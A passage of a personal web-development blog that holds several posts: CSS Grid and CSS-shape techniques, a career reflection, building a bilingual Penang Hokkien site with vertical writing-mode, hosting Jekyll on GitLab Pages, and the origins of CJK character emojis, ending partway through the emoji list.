By default, all grid items behave as if their alignment had been set to stretch on either axis. So I left that alone, to allow the grid to actually look like a grid. Instead, I applied display: flex to the grid item, allowing me to use flex alignment properties applied on the flex container to position my grid item's content. 😎

That's more like it

.grid__item:nth-child(5) {
  grid-row: 3 / 5;
  border-right: 1em solid;
  padding: 1em;

  display: flex;
  align-items: flex-start;
  justify-content: flex-end;
}

The code looks something like that, but my point is, this is a great technique for building layouts. Grid for the grand scheme of things, and Flexbox for specific adjustments. Here's the Codepen link if anybody is interested in the final result.

See the Pen{" "} Malerei, Fotografie, Film (pg. 126) by Chen Hui Jing (@huijing) on{" "} CodePen.

Bonus segment: CSS shapes

Other than the 2 photographs on the page, everything else is CSS, which means the arrow and the gear are actually styled divs. I love making CSS shapes, single div, if possible. You just need a few handy properties to help you, box-shadow, border and pseudo-elements.

Arrow

Arrows are pretty straight-forward. You just need 1 extra pseudo-element for the arrow-head. Make the div the body of the arrow, and give it position: relative so you can absolutely position the arrow head relative to the body. The arrow head is a triangle, which can be made using the border trick.

.arrow {
  width: 0.5em;
  height: 65%;
  background-color: #000;
  position: relative;

  &::after {
    display: block;
    content: "";
    position: absolute;
    left: 50%;
    transform: translateX(-50%);
    bottom: -1em;
    border-style: solid;
    border-width: 1em 1em 0 1em;
    border-color: #000 transparent transparent transparent;
  }
}

Gear

This was a little bit more tricky. The gear body itself is a circle, which is border-radius: 50%, but the gear teeth will need more trickery. I couldn't do it with a single div this time (though if anyone can, please tell me how). I had an additional inner div to help with the gear teeth. The good thing is that all the gear teeth are the same shape, so the box-shadow trick can be used here.

.gear {
  height: 5em;
  width: 5em;
  background-color: #000;
  border-radius: 50%;
  position: relative;

  &::before,
  &::after {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    display: block;
    content: "";
  }

  &::before {
    height: 3em;
    width: 1em;
    box-shadow: 0em -3em 0em 0em #000, 0em 3em 0 0em #000;
  }

  &::after {
    height: 1em;
    width: 3em;
    box-shadow: 3em 0 0em 0em #000, -3em 0 0 0em #000;
  }
}

The gear body and the 4 compass direction gear teeth were made with a single div and its 2 corresponding pseudo-elements. For the other 4 gear teeth, I used the inner div with pseudo-elements then rotated the box-shadows. I still need to figure out the transform-origin issue because I think it looks a bit asymmetrical at the moment.

.inner-gear {
  height: 2em;
  width: 2em;
  border-radius: 50%;
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  background-color: #e1e1d5;

  &::before,
  &::after {
    position: absolute;
    display: block;
    content: "";
  }

  &::before {
    height: 3em;
    width: 1em;
    box-shadow: 0em -3em 0em 0em #000, 0em 3em 0 0em #000;
    transform: rotate(45deg);
    transform-origin: (75% 75%);
  }

  &::after {
    height: 1em;
    width: 3em;
    box-shadow: 3em 0 0em 0em #000, -3em 0 0 0em #000;
    transform: rotate(45deg);
    transform-origin: (25% 75%);
  }
}

Wrapping up

I find Grid really awesome, and I'm obviously not the only person who thinks so. Jen Simmons has compiled a list of really good Grid resources so check out Learn CSS Grid and try building something with Grid. You won't regret it. 😁

1239 days working on the web

Tue, 21 Feb 2017 00:00:00 GMT

Almost 2 years ago, I wrote a post called 542 days as a Drupal developer. Many more days have passed since then and I mentioned at the end of the post I hoped that I would still love doing this 5420 days in. So consider this a checkpoint post. I'm no longer doing Drupal full-time now, instead focusing on front-end work.

The 4 points that I covered in that earlier post still apply though. I still learn on the job (a lot), and have been lucky to have mentors who are patient enough to explain things to me. And don't get me started on building stuff, I have loads of tiny projects that were built because “I felt like it”. As for meet-ups, I now run one too 🙆!

This past weekend, I helped out with a TechLadies workshop in Kuala Lumpur. TechLadies is the brainchild of Elisha Tan, and is a community for women in Asia to connect, learn, and advance as programmers in the tech industry. (Copied that verbatim off their website 😛) At the end of the workshop, we had a mini-panel for the participants to ask questions, especially since most of us did not have a formal Computer Science education, yet managed to find ourselves working in tech.

If you've read some of my other posts, or watched me speak, you'll realise that I tend to go off on tangents (and also flail my hands a lot). So someone asked a question about what was the steepest learning curve we encountered when learning to code and I gave a 5 minute answer that, in retrospect, did not actually answer the original question 😔, but was apparently inspiring.

This is a tangent...

Because the audience were people who had no prior experience with code or programming, I felt it was necessary to bust the myth that programming is easy. This is my personal opinion, and you may not agree, but telling people programming is easy is a lie. It may be easy to get started with actually writing some code that does something, but there is a lot of underlying principles that take time and effort to comprehend before we can create something decent.

I'm not saying you need to know all the things before you are allowed to write code. But we need to accept that a lot of the code we write, especially as we're getting started, will be bad code. And a lot of the things we do “just to get things done”, may be bad practices. The key thing here is, how much do you care? If you don't care, it really doesn't matter as long as the thing runs, right?

Well, I care. I care that badly built websites take forever to load, sap users' data plans and are hard to use. And once you care enough, you will be willing to put in the time and effort to learn better practices, and figure out how things work under the hood to optimise your code and make it run better. I don't think you can care much about something you're not interested in. Because if it's not interesting to you, you will not want to come back when frustration gets the better of you.

Now that we've established that I still care and am interested after 1239 days, here's some more stuff I did that was helpful to my learning process.

Write about the stuff you learnt

I had been writing about everything I'd done from the start, largely for the purposes of documentation. I could refer to old posts if I ever encountered the same problem again. So there are a bunch of posts that are just step-by-step instructions with screenshots (turns out people have real jobs doing this). But I also realised that writing about concepts in my own words forced me to really understand them. So I also started writing about HTML and CSS.

And with my penchant for diving into rabbit holes, I started to get really interested in how HTML and CSS developed over the years, how browsers worked, how the Internet worked and so on. Which is why I now read CSS specifications and follow along what goes on at the CSS Working Group on Github.

Sometimes writing about your own experiences can also be helpful to other people who may feel the same way. I don't write technical posts all the time. This post isn't technical at all. But writing is the solidification of your thoughts and ideas into something tangible, and the act of writing can organise them such that you can better understand what you're thinking.

It's also an experience to submit a piece to a publication. I've written for A List Apart and now am a contributor to the Codrops CSS reference. Writing for yourself is one thing, but writing for a publication that has a significant readership is something else. There are standards to adhere to, and editors who will go through your writing to ensure your article is polished before publication.

Usually the pieces that get rejected are those that aren't very coherent. A problem of mine, because I tend to write like a stream of conciousness. Having an editor comb through my writing has made me a better writer. I still have a long way to go, but I think I'm better now than when I first started out.

Talk about the stuff you learnt

I've also started speaking at meet-ups. My first talk was at Talk.JS, but I spoke about the picture element 🤷. After running Talk.CSS, I also ended up being a pretty regular speaker at my own meet-up because it's hard to find speakers sometimes. To me, speaking comes after writing. As I mentioned before, writing helps with the organisation of thoughts and ideas. You don't have to write before you speak, but the act of writing, at least for myself, makes me formulate more coherent words.

After hosting CSSConf.Asia 2015, I spoke at CSSConf.Asia 2016 at the end of last year. That was my first ever conference talk, and I spoke about learning how to CSS by writing, speaking and building stuff. I definitely spent a lot more time preparing for the conference talk because, you know, people paid to show up, and I didn't want to waste anyone's hard-earned cash.

I was never uncomfortable with public speaking, but I'm pretty aware of how I sound when I speak, so I really didn't want to trip over my words, or have periods of awkward silence where I suddenly blank out on what I wanted to say. So I rehearsed that talk for about a week every day while I commuted to work on my bicycle. Overall, it was fun, and I got to meet and chat with some really rock-star speakers, like Lea Verou, Sarah Drasner and Chris Lilley.

Never forget how it felt like to suck

Being involved with TechLadies has been a very good learning experience. I have not been doing this for all that long, and together with all the posts I've written, there are constant reminders of how I stumbled along all over the place. There is a tendency, as we learn things and get better, to take certain things for granted. This is applicable to more than just writing code.

Everyone had to start somewhere. Nobody came out of the womb already knowing how to walk. But odds are, most of us can't remember how it felt like learning how to walk when we were toddlers. Walking is something I take for granted sometimes. I get reminded that we are all just temporarily able-bodied whenever I get injured playing basketball.

But when it comes to knowledge, it is less common to have it just taken away from you. In my limited experience, barring traumatic brain injury or some degenerative brain condition, you can't suddenly unlearn what is familiar to you (someone please correct me on this). It is easier to take knowledge for granted, especially knowledge that we gained long ago and has since become second nature.

I've been very lucky to have grown up in a household that had computers in the house. My first operating system was MS-DOS and I learned early on that typing certain commands in the terminal would allow me to play games. Even though I got into web development much later in life, my prior knowledge about how computers worked made things easier to a certain extent. For people who have only ever experienced GUIs and installed software via installation wizards, there's a lot more to learn before things make sense.

I value the opportunities to teach workshops to beginner-level participants because the questions they ask show me how everyone, because of their diverse life experiences, will approach and understand the same problem differently. I end up coming up with various analogies to explain concepts in a non-technical way that make me think about those concepts in a completely new way as well. These “so-called” beginners are actually making me understand what I thought I already knew even better.

Rounding things off

So that was the 20% checkpoint post, and it appears that I still love doing this web development thing. I've gotten a bit more opinionated since then, and also discovered even more things that I don't know. What I do know is that I will probably never get bored doing this.
Exasperated? Sure.
Frustrated? Definitely.
(╯°□°）╯︵ ┻━┻ will probably occur in perpetuity.
But bored?
Never. 😈

The one about home

Fri, 06 Jan 2017 00:00:00 GMT

At the end of 2016, I published a website called Penang Hokkien 槟城福建话. Just a few months prior, I had started playing around with the CSS writing-mode property after having a random thought on my daily bicycle commute to work. That grew into a really long blog post on Chinese typography on the web, and an experimental layout-switching demo. During that period, I also discovered the Penang Hokkien Podcast.

Penang Hokkien is a variant of the Hokkien dialect that is unique to the northern states of Malaysia, and is essentially the lingua franca of Penang. It is also my mother tongue, and the main language spoken within my household. Penang Hokkien holds a special place in my heart. It represents where I come, where I belong, it is the language of home.

Given that building websites is one of those things that I'm sort of decent at, I figured I'd build a website dedicated to Penang Hokkien, specifically, stories about the unique usage of certain words and phrases that aren't used elsewhere. And because I also LOVE playing with CSS, it was an excuse to extend my earlier writing-mode demo into a fully-fledged website.

Some logistical decisions

All my previous demos and random side-projects were hosted on GitHub as project pages tied to my user account. I'm too cheap to buy additional domain names, so all of them are subsites of www.chenhuijing.com 🤷. But I really wanted this site to stand alone.

Sometime last year, I learned that GitLab had GitLab Pages and always wanted to try it out, but never had a compelling reason to. Until now. It wasn't the smoothest experience (largely due to my own ineptitude), but it wasn't terrible either. And I kinda like GitLab to begin with anyway. I wrote about the experience as well.

Flexing the brain muscles

Content creation is not easy. If you find it easy, well, good for you then. I tend to write English more often, simply because English is the main language used in my industry. I use Chinese mostly when speaking, or messaging my friends. And I speak Hokkien with family or go back to Penang.

Even though I'm lucky enough to have learnt English and Chinese reasonably well, I sometimes still fall into the trap of direct translation. It depends on whether I'm thinking in English or Chinese at the time. Most of the time, I'll catch these when I do a second read-through. In fact, the best thing to do (at least for me) is to do the editing after taking a nap. 🙃

There are also times when you find there is no good English equivalent for a certain Chinese phrase or vice versa. Those are the times that make my brain hurt. And because I made the ridiculous decision to record a Penang Hokkien version of each story, there's a second round to translation to be done. So content creation for this site was quite the workout for the linguistic part of my brain.

Some of the fun stuff

I wanted the site to be fully-responsive and cross-browser compatible. It definitely does NOT have to look the same in every browser but there shouldn't be situations where broken layouts compromise content consumption. I want to yet again shout-out Browsersync which made testing so much easier.

Switchy-switchy

In my first writing-mode demo, I had a checkbox that toggled between horizontal and vertical writing modes. In that case, it was the same block of content, displayed differently (via a CSS class).

This site utilised a similar concept, in that there would be a toggle, but this time it'd be to switch between 2 blocks of content. The same technique used for pure CSS tabs, just that the "tabs" would be styled to look like buttons.

Clicky-clicky

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

<section class="c-intro">
  <input type="radio" name="language" id="lang-en" class="l-toggle__en" />
  <label for="lang-en">
    <span class="lang-toggle__en">English</span>
  </label>
  <input type="radio" name="language" id="lang-zh" class="l-toggle__zh" checked="checked" />
  <label for="lang-zh">
    <span class="lang-toggle__zh" lang="zh">中文</span>
  </label>
  <div class="l-lang__en c-lang__en">
    <h2>What is Penang Hokkien?</h2>
    <p>
      Penang Hokkien is a variant of the Hokkien dialect that is unique to Penang, Malaysia. Hokkien
      originated from the southern Fujian province in the Minnan region of China. As the Chinese
      settlers integrated themselves into the local community, they started incorporating indigenous
      words into their language. Penang Hokkien is an integral part of our cultural heritage and
      there has been a movement to rejuvenate interest and prevent the language from dying out.
    </p>
  </div>
  <div class="l-lang__zh c-lang__zh" lang="zh">
    <h2>槟城福建话是什么？</h2>
    <p>
      槟城福建话是闽南语的一个域外变体，是槟城文化的特点之一。闽南语出自于中国的福建省。中国和马来群岛之间频密的商业活动，导致数多华侨渐渐定居于槟城。在融入本土社会的当儿，语言上也开始向本土语言借词。槟城福建话是槟城文化的栋梁之一。由于学校及家长们不注重方言，许多年轻一代的槟城人只会说些简单的福建话。槟城福建话有走向衰落的趋势。为了防止槟城福建话的灭绝，近几年也开始引起了推动讲福建话风气的活动。
    </p>
  </div>
</section>

The writing-mode property was applied to the Chinese content wrapper.

.l-lang__zh {
  text-align: justify;
  writing-mode: vertical-rl;
  max-height: 13em;
  overflow-x: auto;
}

The trickiest part about having mixed writing-modes is centring content. I'm guessing mixed writing-modes is not a common use case and the behaviour is pretty inconsistent across browsers. My primary development environment is Chrome on Mac OS, and things tend to render nicely in this environment. So if you play around with experimental features, be sure to check other browsers frequently.

I ❤️ neon lights

For the About page, I applied the writing-mode: vertical-rl property to the entire <main> element instead, then modified individual bits to display horizontally where needed. And here I saw an opportunity to put in some CSS fanciness for the page title.

I first learned about Chromatic Fonts on the web back in March 2016 from Roel Nieskens when he published Building Bixa Color, a color font for the web. And some time later, he pointed me to Bungee, another multi-colour font. What's special about Bungee is that it is also optimised for vertical typography.

Wide screen view

Narrow screen view

Vertical neon signs are a pretty common sight in urban areas which are predominantly Chinese and I wanted that effect, with CSS! Here's where the text-shadow property comes in handy, perfect for that glowing effect. Bungee comes with font-feature-settings that kern it vertically, but you have to explicitly set them via CSS.

.c-title {
  background: #313b4a;
  color: #fff;
  border-radius: 0.5em;
  border: 1px solid #fff;
  box-shadow: inset 0 0 10px #fff, 0 0 5px #fff, 0 0 10px #fff, 0 0 15px #f04c16, 0 0 20px #f04c16, 0
      0 0 0.35em #313b4a;
}

.c-title__en {
  font-family: "Bungee Outline";
  text-shadow: 0 0 5px #fff, 0 0 10px #fff, 0 0 15px #fff, 0 0 20px #f04c16, 0 0 35px #f04c16, 0 0
      40px #f04c16, 0 0 50px #f04c16, 0 0 75px #f04c16;
  text-orientation: upright;
  font-feature-settings: "vkrn", "vpal";
}

There's a lot more code than what I show here, largely because I switch back to a horizontal layout on narrower screens. But this is the gist of the neon lights effect.

Fancy form input

I also had the brilliant idea to have a newsletter subscription box, because why not? Actually I always wanted to try out TinyLetter but never had an use case for it. As an avid reader of Codrops, I'm a big fan of Manoela Ilic AKA Mary Lou, who creates all sorts of wonderful CSS effects and shares them with us. I borrowed one of hers for this.

Oooo...fancy

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

One thing I had to get around was that the label of the input field used a little bit of JavaScript to trigger a CSS class that transformed it when the field was focused. In the event that JavaScript failed for whatever reason, the field would have default styling that did not require CSS transforms. At first I tried using Modernizer, but then realised this was the perfect scenario for a feature query.

I had only ever deployed 1 feature query before to detect vmax and it worked beautifully. So this time, my feature query to detect CSS 3D transforms looked like this:

@supports (transform: translate3d(0, 0, 0)) or (-webkit-transform: translate3d(0, 0, 0)) {
  /* relevant CSS here */
}

If you've never heard of feature queries before, you definitely must read Jen Simmons' post Using Feature Queries in CSS.

JavaScript-less modal

A last minute edition was a contact form. Some people are going to be horrified that I didn't plan the content of the site out before actually designing and building the thing. But I found it easier (and much faster) to just design and tweak as I built 🤷.

It occurred to me that I ought to include some sort of contact information somewhere on the site, and I really didn't have a good place to chuck this form. So I decided to make it a modal, which was triggered when someone clicked on the envelope icon in the footer. Could I have put in somewhere more obvious? Sure, if I had thought this through, but I didn't. 💩 happens.

I found out about the :target trick from Heydon Pickering's post on Reimagining Single-Page Applications With Progressive Enhancement and thought it'd be cool to build a CSS-only modal with it.

.c-contact {
  background: rgba(0, 0, 0, 0.7);
  transition: opacity 500ms;
  visibility: hidden;
  opacity: 0;

  &:target {
    visibility: visible;
    opacity: 1;
  }
}

In short, :target is a pseudo-selector which is activated when the id of an element matches the hash in the URL. So I gave the links that were supposed to trigger the modal an href of #contact and they triggered the styles that made my contact form element visible. Also, I'm using Formspree to handle the submissions, this being a static site and all.

OMG so many bugs 😭

SO. MANY. CROSS-BROWSER. BUGS. 🐞

Browser behaviour is super inconsistent for mixing writing-modes, especially in terms of overall page layout. Chrome, Safari and Opera on Mac OS all seemed to behave reasonably well. On Firefox, writing-mode doesn't play well with display: flex and I think Firefox doesn't handle child elements with a different writing-mode from its parent the same way as the other 3 browsers. And don't get me started on the Microsoft browsers.

I could not for the life of me get my block of Chinese content centred properly on Firefox or Edge/IE.

On Firefox

I managed to find a fix for the issue on Firefox but I don't really understand exactly why it works. Adding a margin-left then transforming it back centred the block. If you know why this works, please let me know.

.l-lang__zh {
  margin-left: 50%;
  transform: translateX(-50%);
}

MS browsers also seem to have issues with rotation via CSS transform when the element has a vertical writing-mode. The transform-origin seems out of whack. Plus, the margin/transform trick for Firefox does NOT work for MS browsers.

On MS Edge

I had to work-around the problem using BrowserHacks. I know it's not a best practice, but I don't think feature detection works here, because technically MS browsers DO support writing-modes, just not well I guess. If you peek into my source code (available on GitLab), you'll see the hacks in all their gory glory.

@media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) {
  /* Styles specific to IE10 and IE11 */
}

@supports (-ms-ime-align: auto) {
  /* Styles specific to Edge */
}

The flexbox problem reared its ugly head on the About page, and turns out this is a known browser bug. So I decided to have a different layout just for Firefox that circumvents this issue altogether. But I'll definitely be tracking the progress of these bugs.

_:-moz-tree-row(hover),
.RELEVANT_SELECTOR {
  /* Styles specific to Firefox */
}

Even though it took me 4 days to build and launch the site from scratch, it took me way longer than that to address the various cross-browser bugs. As of time of writing, there's still a bug in Chrome on OpenSUSE that I haven't investigated yet.

Wrapping up

It had been a while since I built something for myself, so this was a fun project, albeit frustrating when I started testing across the different browsers. But that's precisely why we need to start trying out some of the lesser used CSS properties in actual projects, so we can help find odd browser behaviour and raise them as bugs to be fixed.

Relevant resources

Hosting a Jekyll site on GitLab Pages

Wed, 04 Jan 2017 00:00:00 GMT

I've always hosted my static site projects on GitHub Pages and honestly, it's been great. Setup takes no time (maybe because I've done it so many times before), especially since GitHub simplified the publishing process. But because 🎶 I'm just a sucker for pain 🎶(insert music to Sucker for Pain from the Suicide Squad OST ), I decided to give GitLab Pages a try instead.

It's not that GitLab Pages is bad, far from it. But doing anything for the first time (even setting up GitHub Pages) will be a little bit tricky. Also, GitLab Pages is slightly harder to setup but provides much more flexibility, so weigh your pros and cons. Jekyll is my static site generator of choice.

Types of sites

Similar to GitHub Pages, GitLab Pages also allows you to have a single user site and unlimited project sites. But what GitLab Pages has in addition is the concept of groups. If you haven't used GitLab before, you can actually group several projects together into a directory, which provides a namespace under which all these projects are housed under. And you can then give an user access to all projects within that group. GitLab pages allows you to have a unique site per group as well.

General steps for user/group site

Create a repository on GitLab named YOUR_USER_NAME.gitlab.io, making sure the first part matches your user name or group name exactly.
Create a .gitlab-ci.yml file. This file controls the build process for your site. Every push to the Git repository will trigger the runner and you can check its progress on the /pipelines page of your project.

Note: I wish I had found this page when I was setting up, but I somehow missed it. So I'm highlighting it to you now. Refer to Build Jekyll with Bundler if you're using Jekyll as your static site generator.

For Jekyll sites, your gitlab-ci.yml will look something like this:

# requiring the environment of Ruby 2.3.x
image: ruby:2.3
# add bundle cache to 'vendor' for speeding up builds
cache:
  paths:
    - vendor/
before_script:
  - bundle install --path vendor
# the 'pages' job will deploy and build your site to the 'public' path
pages:
  stage: deploy
  script:
    - bundle exec jekyll build -d public/
  artifacts:
    paths:
      - public
  only:
    - master # this job will affect only the 'master' branch

Make sure you exclude the vendor directory in your _config.yml file. This step tripped me up a bit (evidence can be seen in the first couple of my repository commits). If you, unlike me, are familiar with the YAML syntax, you probably wouldn't have ran into the problems I did.

First of all, I didn't exclude the vendor directory in my initial commit, so I ran into an invalid date '0000-00-00' error and my pipeline failed. So after a bit of googling, I found this issue log and the solution was to exclude the vendor directory. But the instruction was to add the line exclude: [vendor] to the _config.yml file.

With my complete lack of YAML knowledge, I dutifully added the line and the relevant portion of the _config.yml file looked like this:
```
# Do NOT do this. This is WRONG!!
exclude:
  - [vendor]
  - Gemfile
  - Gemfile.lock
  - node_modules
  - gulpfile.js
  - package.json
```
Basically, I didn't know the shorthand for lists in YAML was written like JavaScript arrays. So here are the 2 correct ways to exclude multiple files/folders in your _config_yml.
```
exclude: - vendor - Gemfile - Gemfile.lock - node_modules - gulpfile.js - package.json
```
OR
```
exclude: [vendor, "Gemfile", "Gemfile.lock", node_modules, "gulpfile.js", "package.json"]
```
Push your files up to GitLab and watch it run in the pipeline page. If you run into a Could not find a JavaScript runtime. error, which I somehow did, you may need to include the line gem 'therubyracer' in your Gemfile. Relevant issue log here. Why is a JavaScript runtime needed for a Jekyll site you may ask? It's most probably not needed, but something up with my site's files 🤷.

Wrapping up

It wasn't a terrible experience, and the trip-ups were largely due to my own stupidity anyway. But at least I got the site up and running. Feel free to reference my site's setup on GitLab. Also, because of the whole GitLab CI configuration thing, you're free to use any static site generator of your choice, unlike GitHub Pages, which is slightly limiting. If you find GitHub Pages a bit too restrictive for your liking, why not give GitLab Pages a try?

East Asian character emojis ㊗️ 🈶️ 🈯️ 🈳️

Thu, 29 Dec 2016 00:00:00 GMT

I am an unabashed lover of emojis. Just read anything I write, there's almost always at least 1 emoji thrown in there somewhere. I can't help myself, they are just so...apt. Do you know that the Full Emoji Data actually loads super-quick when I visit because I go there so often most of the data is cached my browser already. My state of mind was 🎉 when the 🤷 and 🤦‍♀️ emojis were released.

Have you scrolled through the entire list of emojis, got to the symbol section and wondered why those Chinese character symbols are there? No? It's just me? Well, I ponder such deep questions often throughout my day.

Maybe if you don't read any of the CJK (Chinese, Japanese, Korean) languages, these symbols mean nothing to you. But as a native Chinese speaker, I always wondered, why those particular words? I mean, there are literally tens of thousands of Chinese characters, so why those?

Some background (context is important)

Let's go back to the beginning. The word Emoji is Japanese.

絵 (e) ≈ picture) 文 (mo ≈ writing) 字 (ji ≈ character)

Update: Jeremy Burge, Chief Emoji Officer at Emojipedia issued a correction to a very widely known, yet incorrect fact that DoCoMo was the originator of emoji.

~~Emojis were invented by Shigetaka Kurita as a solution to the 250 character limit on i-mode, NTT DoCoMo's new mobile internet system (back in 1999).~~ Softbank released a set of 90 emojis, including the well-loved pile of poo emoji back in 1997 on the Skywalker service for the DP-211SW mobile phone. As of now, the original designer's identity remains unknown.

2 years later, Shigetaka Kurita created a set of 176 emojis for NTT DoCoMo's new mobile internet system (back in 1999). Most of DoCoMo's 176 original emojis were designed for the Japanese market, largely because nobody expected them to explode on the a global scale. Soon after their release, there was a proposal to encode these emoji in Unicode by Graham Asher in 2000, but nothing happened because people weren't sure if emoji would be popular or not.

Turns out, they were a big hit in Japan, but every telecom company did their own thing with emoji encoding so incompatibility was a big issue. There was a high chance your emojis just wouldn't display properly. Kinda like "tofu" characters when your computer doesn't support East Asian languages.

So in 2006, Google started converting them into Unicode private-use codes. Unicode itself is a fascinating topic so if you're interested, read The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!) by Joel Spolsky.

Long story short, the private-use approach was problematic so another proposal was made to the Unicode Consortium to expand the scope of symbols to include emojis. According to the Unicode® Technical Report #51, the timeline for emoji development looks something like this:

2000-04-26 - NTT DoCoMo Pictographs
2000-04-26 - NTT DoCoMo Pictographs
2006-11-01 - Symbols (scope extension)
2007-08-03 - Working Draft Proposal for Encoding Emoji Symbols
2007-08-09 - Symbols draft resolution
2007-09-18 - Japanese TV Symbols (ARIB)
2009-01-30 - Emoji Symbols Proposed for New Encoding
2009-03-05 - Proposal for Encoding Emoji Symbols
2010-04-27 - Emoji Symbols: Background Data
2011-02-15 - Wingdings and Webdings Symbols

You gotta remember, emojis are just a small subset of all the Unicode symbols out there. Also, not all the emojis in a proposal will make it into the release either. Case in point, the proposal for Japanese TV symbols contained lots of Chinese characters that didn't make it into the release (though a handful did).

So Unicode v6.0, released in 2010, was the version that included "support for popular symbols in Asia" (I'm literally quoting the headline of that post 🤷). That's when most of the CJK character symbols were added. The Japanese are clearly the most active contributors in this regard, and so these symbols, though perfectly usable as Chinese characters, primarily have specific Japanese contexts.

After a few hours of research into the origins of these emojis, I was starting to get confused. The names of some of these emojis on the Emoji List didn't seem to make sense at all. I even asked my Japanese friend, who replied she'd never seen anyone use them before. It was at the 🈯️ emoji that I realised I was being led down the wrong path by Emojipedia!

These emojis came from the Association of Radio Industries and Businesses (ARIB) in their TV symbols proposal. Television symbols! I was definitely barking up the wrong tree trying associate their origins to the context of everyday usage. But with that cleared up, this article almost wrote itself (not really, content creation takes effort, people).

The Dumpling Emoji Project

I must highlight the existence of this project. It was started by Jennifer 8. Lee and Yiying Lu who were appalled by the fact that we do not have a dumpling emoji (I love dumplings, so I'm appalled too). But when they looked into the emoji proposal process, they found that the Unicode Consortium was actually controlled by a handful of multinational American tech corporations. And membership is quite pricey.

The decision makers along the way are overwhelmingly male, overwhelming white and overwhelmingly engineers. They specialize in encoding. Such a review process certainly is less than ideal for promoting a vibrant visual language used throughout the world.

So they came up with a Kickstarter project called Where Is the Dumpling Emoji? to raise enough funds to get non-voting affiliate membership in the Unicode Consortium, and eventually create a system where popular emoji requests (#emojirequest) can systematically bubble up and get transformed into proper proposals for the Unicode Consortium.

And by golly, they did it! With the amount of publicity their campaign generated and support from like-minded emoji-loving people, Unicode v10.0, slated for release in June 2017, will include the Dumpling, Takeout box, Fortune cookie and Chopsticks emojis. As a side note, I'm excited because the "Face with one eyebrow raised" emoji also made the cut.

I love a happy ending 🎊. Here's the link to the actual Dumpling Emoji Submission that was proposed earlier this year.

Here's the good stuff 💃

Because I hang out at the Full Emoji List page so often, I'm 95% confident I caught all of CJK character emojis (as of December 2016), but drop me a message if I did miss any. This list is going to cover Japanese characters as well.

Quick primer on written Japanese characters. There are 3 character types: Hiragana, Katakana and Kanji. Hiragana and Katakana are syllabary, which means they represent the sounds that make up the words.

Hiragana is curved and flowing, and mainly used for native Japanese words and word-endings. Katakana is simple and angular, and mainly used for writing of loanwords, scientific or technical terms. Kanji are Han characters, adopted from Chinese characters. Now that that's out of the way, here we go.

🈁️ Japanese “here” button
🈂️ Japanese “service charge” button
🈷️ Japanese “monthly amount” button
🈶️ Japanese “not free of charge” button
🈯️ Japanese “reserved” button
🉐️ Japanese “bargain” button
🈹️ Japanese “discount” button
🈚️ Japanese “free of charge” button
🈲️ Japanese “prohibited” button
🉑️ Japanese “acceptable” button
🈸️ Japanese “application” button
🈴️ Japanese “passing grade” button
🈳️ Japanese “vacancy” button
㊗️ Japanese “congratulations” button
㊙️ Japanese “secret” button
🈺️ Japanese “open for business” button
🈵️ Japanese “no vacancy” button

🈁️ Japanese “here” button

Also known as "Squared Katakana Koko", read as "ko-ko", and means "here" in Japanese. Written as ここ in Hiragana. Given this is a Japanese word, there's only the Japanese context. It seems like it's typically written as Hiragana in everyday use, like ここです (koko desu, meaning "it's/I'm here"). Personally, I suspect the Katakana style is easier to render in the space of that tiny glyph.

🈂️ Japanese “service charge” button

Also known as "Squared Katakana Sa", read as "sa". Written as さ in Hiragana. Again, this is a Japanese word, with only the Japanese context. It's one of the basic Japanese kana. Most likely derived from the word "service" as in "サービス"

🈷️ Japanese “monthly amount” button

Also known as "Squared CJK Unified Ideograph-6708". It's a Kanji character, read as "tsuki" in Japanese, and "yue" in Chinese, and can mean "monthly" or "moon" in both languages.

🈶️ Japanese “not free of charge” button

Also known as "Squared CJK Unified Ideograph-6709". It's a Kanji character, read as "yuu" in Japanese, and "you" in Chinese, and means "to have" in both languages. In Chinese, this word can be used standalone, for example, if someone asks you if you have any spare change (你身上有没有零钱？), you can answer with a simple 有，to say yes, you do have spare change. In Japanese, it's used as part of a phrase, which can give you a myriad of meanings, like "有名" (famous) or "有用" (useful). I think this particular emoji came from the phrase "有料", which means "toll" or "charge".

🈯️ Japanese “reserved” button

Also known as "Squared CJK Unified Ideograph-6307". It's a Kanji character, read as "yubi" in Japanese, and "zhi" in Chinese, and means "finger" or "point" in both languages. It can also mean "toe" when combined with the word "foot", so it's "脚指" in Chinese and "足の指" in Japanese. Original television symbol for "designated hitter" or "指名打者" (yes, the baseball kind).

🉐️ Japanese “bargain” button

Also known as "Circled Ideograph Advantage". It's a Kanji character, read as "toku" in Japanese, and "de" in Chinese, and means "gain" in both languages. Again, it's usually found as part of a phrase, which then modifies its meaning somewhat. Like "得意" means proud of oneself, in both languages.

🈹️ Japanese “discount” button

Also known as "Squared CJK Unified Ideograph-5272". It's a Kanji character, read as "wari" in Japanese and "ge" (hard G-sound) in Chinese. It means "split" in Japanese, and can have several other meanings when used as part of a phrase. It means "cut" in Chinese. This particular emoji comes from the phrase "割引", which means "discount".

🈚️ Japanese “free of charge” button

Also known as "Squared CJK Unified Ideograph-7121". It is a Kanji character, read as "mu" in Japanese and "wu" in Chinese, and means "nothing" in both languages. Original television symbol for "free broadcasting service".

🈲️ Japanese “prohibited” button

Also known as "Squared CJK Unified Ideograph-7981". It is a Kanji character, read as "kin" in Japanese and "jin" in Chinese, and means "forbidden" in both languages. Mostly used in signage that indicates something is prohibited, like "禁烟" (Chinese) or "禁煙" (Japanese) means "no smoking".

🉑️ Japanese “acceptable” button

Also known as "Squared CJK Unified Ideograph-7981". It is a Kanji character, read as "ka" in Japanese and "ke" in Chinese, and means "acceptable" in both languages in the context of the phrase "许可". Almost always used as part of a phrase, like "可能" (possible) or "可爱" (cute).

🈸️ Japanese “application” button

Also known as "Squared CJK Unified Ideograph-7533". It is a Kanji character, read as "saru" in Japanese and "shen" in Chinese, and means "application" in both languages in the context of the phrase "申請". Fun fact, the word is also representative of the Monkey in the Zodiac system.

🈴️ Japanese “passing grade” button

Also known as "Squared CJK Unified Ideograph-5408". It is a Kanji character, read as "go" in Japanese and "he" in Chinese, and means "unite" or "join" in both languages. This emoji comes from the phrase "合格", which means "passed" in both languages.

🈳️ Japanese “vacancy” button

